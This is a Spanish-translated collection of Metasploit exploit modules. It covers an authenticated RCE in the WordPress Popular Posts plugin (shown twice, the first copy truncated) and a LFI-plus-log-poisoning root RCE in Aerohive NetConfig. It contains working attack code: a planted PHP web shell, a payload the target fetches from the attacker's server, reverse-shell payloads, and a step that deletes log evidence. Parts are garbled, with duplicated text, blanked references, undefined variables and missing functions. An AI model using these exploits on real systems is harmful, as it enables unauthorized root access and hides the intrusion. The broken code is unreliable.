
### Este módulo requiere Metasploit: https://metasploit.com/download # Fuente actual: https://github.com/rapid7/metasploit-framework ##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD del payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta autenticada en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena del exploit es bastante complicada. Se requiere autenticación y 'gd' para PHP en el servidor. Luego el plugin Popular Post se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post, y se envían peticiones al post para superar al anterior #1 por 5. Una vez que el post llega al top 5, y después de un refresco de caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal lo que provoca que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Este exploit requiere que Metasploit tenga un FQDN y la capacidad de ejecutar un servidor web de payload en el puerto 80, 443 o 8080. El FQDN tampoco debe resolverse a una dirección reservada (192/172/127/10). El servidor también debe responder a una petición HEAD para el payload, antes de recibir una petición GET. Este exploit aprovecha una validación de entrada incorrecta con autenticación en el plugin de Wordpress Popular Posts <= 5.3.2. La cadena de explotación es bastante complicada. Se requiere autenticación y que 'gd' de PHP esté instalado en el servidor. A continuación, el plugin Popular Posts se reconfigura para permitir una URL arbitraria para la imagen del post en el widget. Se crea un post y se envían peticiones al mismo para hacerlo más popular que el anterior #1 por 5. Una vez que el post llega al top 5, y después de una actualización de la caché del servidor de 60 segundos (esperamos 90), se carga el widget de la página principal, lo que hace que el plugin descargue el payload de nuestro servidor. Nuestro payload tiene una cabecera 'GIF' y una doble extensión ('.gif.php') que permite ejecutar código PHP arbitrario. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # módulo de msf 'Simone Cristofaro', # edb 'Jerome Bruandet' # análisis original ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutos, otros visitantes del sitio pueden activarlo }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Nombre de usuario de la cuenta', 'admin']), OptString.new('PASSWORD', [true, 'Contraseña de la cuenta', 'admin']), OptString.new('TARGETURI', [true, 'La ruta base del servidor Wordpress', '/']), # OptString.new('SRVHOSTNAME', [true, 'FQDN del servidor de Metasploit. No debe resolverse a una dirección reservada (192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, 'El puerto local en el que escuchar.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('No se detectó Wordpress.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts no es una versión vulnerable') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # repetir esto 5 veces por si hay un retraso en la escritura del archivo por parte del servidor (1..5).each do |i| print_status("Lanzando shell en: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} en 10 segundos. Intento #{i} de 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('No se pudo encontrar el payload; puede que no se haya subido correctamente.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Respondiendo a la petición HEAD inicial (verificación 1 superada)') # según deberíamos tener un Content-Length válido # sin embargo, parece que se calcula dinámicamente, ya que se sobrescribe a 0 en esta respuesta. lo dejo aquí como nota. # además, no queríamos enviar el payload real en el cuerpo para que el tamaño fuera correcto, ya que eso aumenta las posibilidades de ser detectados return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Respondiendo a la petición GET (verificación 2 superada)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # por alguna razón extraña necesitamos cerrar la conexión manualmente para que PHP/WP termine sus funciones Rex.sleep(2) # esperar a que WP termine todas las comprobaciones necesarias trigger_payload(on_disk_payload_name) end print_status("Recibida petición #{request.method} inesperada") end def check_gd_installed(cookie) vprint_status('Comprobando si gd está instalado') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Recuperando el token wpp_admin') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creando un nuevo post') # obtener el ID del post y los nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('falta el campo ajax nonce, intentando volver a habilitarlo. si esto falla, es posible que necesites cambiar la interfaz para habilitarlo. Consulta . O revisa (mientras escribes un post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Post creado: #{post_id}") end fail_with(Failure::UnexpectedReply, 'No se pudieron recuperar los nonces y/o el ID del nuevo post') unless ajax_nonce && wp_nonce && post_id # publicar el nuevo post vprint_status("Escribiendo contenido en el post: #{post_id}") # esto es muy diferente del PoC de EDB; con su ejemplo recibía un 200 hacia la página principal, así que esto se basa en lo que envía la interfaz de usuario res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'El post no se pudo publicar') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Añadiendo metadatos maliciosos para redirigir a #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'No se pudieron actualizar los metadatos') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirigir según sea necesario res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'El sitio no responde') unless res fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless res.code == 200 || res.code == 301 print_status("Enviando #{post_count} visitas a #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # este valor>/<y lo que venga después> (1..post_count).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'No se pudo recuperar la página') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST debe configurarse con una dirección IP (0.0.0.0 no es válida) para que la explotación tenga éxito') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Inicio de sesión no válido, comprueba las credenciales') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Nombre del archivo del payload: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd no está instalado en el servidor, no explotable') unless check_gd_installed(cookie) post_count = get_top_posts # ya no necesitamos pasar la cookie, ya que ahora está guardada en el cliente http token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Iniciando el servidor web para manejar la petición del payload de imagen') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Esperando 90 segundos a que el servidor actualice la caché') Rex.sleep(90) print_status('Intentando forzar la carga de la shell visitando la página principal y cargando el widget') res = get_widget print_good('¡Llegamos a la cima!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # en este punto, dependemos de que nuestro servidor web reciba peticiones para que ocurra el resto end end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',
'Description' => %q{
Este módulo explota vulnerabilidades de LFI y envenenamiento de logs
(CVE-2020-16152) en Aerohive NetConfig, versión 10.0r8a
build-242466 y anteriores, para lograr la ejecución remota de código
no autenticada como el usuario root. NetConfig es la interfaz web administrativa
HiveOS de Aerohive/Extreme Networks. Las versiones vulnerables
permiten LFI porque dependen de una versión de PHP 5 que es
vulnerable a ataques de truncamiento de cadenas. Este módulo aprovecha este
problema junto con el envenenamiento de logs para obtener RCE como root.
Tras una explotación exitosa, la aplicación Aerohive NetConfig
se bloqueará mientras la shell generada permanezca abierta. Cerrar
la sesión debería hacer que la aplicación vuelva a responder.
El módulo proporciona una opción de limpieza automática para limpiar el log.
Sin embargo, esta opción está deshabilitada por defecto porque cualquier modificación
del log /tmp/messages, incluso mediante sed, puede hacer que el objetivo
quede (temporalmente) no explotable. Este estado puede durar más de una hora.
Este módulo se ha probado con éxito contra Aerohive NetConfig
versiones 8.2r4 y 10.0r7a.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik de Jong', # github.com/eriknl - descubrimiento y PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2020-16152'], # aún categorizado como RESERVADO
['URL', 'https://github.com/eriknl/CVE-2020-16152'] # análisis y código del PoC
],
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Linux', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
}
}
],
[
'CMD', {
'Arch' => [ARCH_CMD],
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl' # este puede ser el único payload que funciona para este objetivo'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-02-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('TARGETURI', [true, 'La ruta base de Aerohive NetConfig', '/']),
OptBool.new('AUTO_CLEAN_LOG', [true, 'Limpiar automáticamente el log /tmp/messages al generar una shell. ¡ADVERTENCIA! Esto puede hacer que el objetivo quede no explotable', false]),
]
end
def auto_clean_log
datastore['AUTO_CLEAN_LOG']
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php5')
})
unless res
return CheckCode::Unknown('Conexión fallida.')
end
unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
return CheckCode::Safe('El objetivo no es una aplicación Aerohive NetConfig.')
end
version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first
unless version
return CheckCode::Detected('No se pudo determinar la versión de Aerohive NetConfig.')
end
begin
if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
return CheckCode::Appears("El objetivo es Aerohive NetConfig versión #{version}")
else
print_warning('Cabe señalar que no está claro si/cuándo se parcheó este problema, por lo que las versiones posteriores a 10.0r8a pueden seguir siendo vulnerables.')
return CheckCode::Safe("El objetivo es Aerohive NetConfig versión #{version}")
end
rescue StandardError => e
return CheckCode::Unknown("No se pudo obtener una versión válida de Aerohive NetConfig: #{e}")
end
end
def poison_log
password = rand_text_alphanumeric(8..12)
@shell_cmd_name = rand_text_alphanumeric(3..6)
@poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>"
# Envenenar /tmp/messages
print_status('Intentando envenenar el log en /tmp/messages...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php5'),
'vars_post' => {
'login_auth' => 0,
'miniHiveUI' => 1,
'authselect' => 'Name/Password',
'userName' => @poison_cmd,
'password' => password
}
})
unless res
fail_with(Failure::Disconnected, 'Conexión fallida al intentar envenenar el log en /tmp/messages')
end
unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
fail_with(Failure::UnexpectedReply, 'Respuesta inesperada al intentar envenenar el log en /tmp/messages')
end
print_status('El servidor respondió como se esperaba. Continuando...')
end
def on_new_session(session)
log_cleaned = false
if auto_clean_log
print_status('Intentando limpiar el archivo de log en /tmp/messages...')
print_warning('Ten en cuenta que esto hará que el objetivo quede (temporalmente) no explotable. Este estado puede durar más de una hora.')
begin
# Necesitamos eliminar la línea que contiene la llamada al sistema PHP de /tmp/messages
# Los caracteres especiales en la syscall de PHP hacen casi imposible usar sed para reemplazar la syscall de PHP por un nombre de usuario normal.
# En su lugar, evitemos los caracteres especiales combinando varios comandos grep para asegurarnos de tener la línea correcta y luego eliminar esa línea completa
# El impacto de usar sed para editar el archivo sobre la marcha y usar grep para crear un archivo nuevo y sobrescribir /tmp/messages con él es el mismo:
# En ambos casos, es probable que la aplicación deje de escribir en /tmp/messages durante bastante tiempo (podría ser más de una hora), lo que hará que el objetivo quede no explotable durante ese período.
line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "
"grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"")
# Esperar a que se complete la limpieza
Rex.sleep 5
# Comprobar la llamada al sistema PHP en /tmp/messages
messages_contents = session.fs.file.open('/tmp/messages').read.to_s
# usar =~ aquí produjo resultados inesperados, por lo que se usa include? en su lugar
unless messages_contents.include?(@poison_cmd)
log_cleaned = true
end
elsif session.type.to_s.eql?('shell')
session.shell_command_token(cmds_to_clean_log.to_s)
# Comprobar la llamada al sistema PHP en /tmp/messages
poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")
# usar =~ aquí produjo resultados inesperados, por lo que se usa include? en su lugar
unless poison_evidence.include?(@poison_cmd)
log_cleaned = true
end
end
rescue StandardError => e
print_error("Error durante la limpieza: #{e.message}")
ensure
super
end
unless log_cleaned
print_warning("No se pudo reemplazar la llamada al sistema PHP '#{@poison_cmd}' en /tmp/messages")
end
end
if log_cleaned
print_good('Log limpiado correctamente al eliminar la línea con la syscall de PHP de /tmp/messages.')
else
print_warning("Borrar las evidencias del envenenamiento del log requerirá editar/eliminar manualmente la línea en /tmp/messages que contiene el comando de envenenamiento:\n\t#{@poison_cmd}")
print_warning('Ten en cuenta que cualquier modificación de /tmp/messages, incluso mediante sed, hará que el objetivo quede (temporalmente) no explotable. Este estado puede durar más de una hora.')
print_warning('Eliminar /tmp/messages o vaciar el archivo puede romper la aplicación.')
end
end
def execute_command(cmd, _opts = {})
print_status('Intentando ejecutar el payload')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'action.php5'),
'vars_get' => {
'_action' => 'list',
'debug' => 'true'
},
'vars_post' => {
'_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Activar LFI mediante truncamiento de la ruta
@shell_cmd_name => cmd
}
}, 0)
print_warning('En caso de explotación exitosa, la aplicación web de Aerohive NetConfig se bloqueará mientras la shell generada permanezca abierta.')
end
def exploit
poison_log
if target.arch.first == ARCH_CMD
print_status('Ejecutando el payload')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end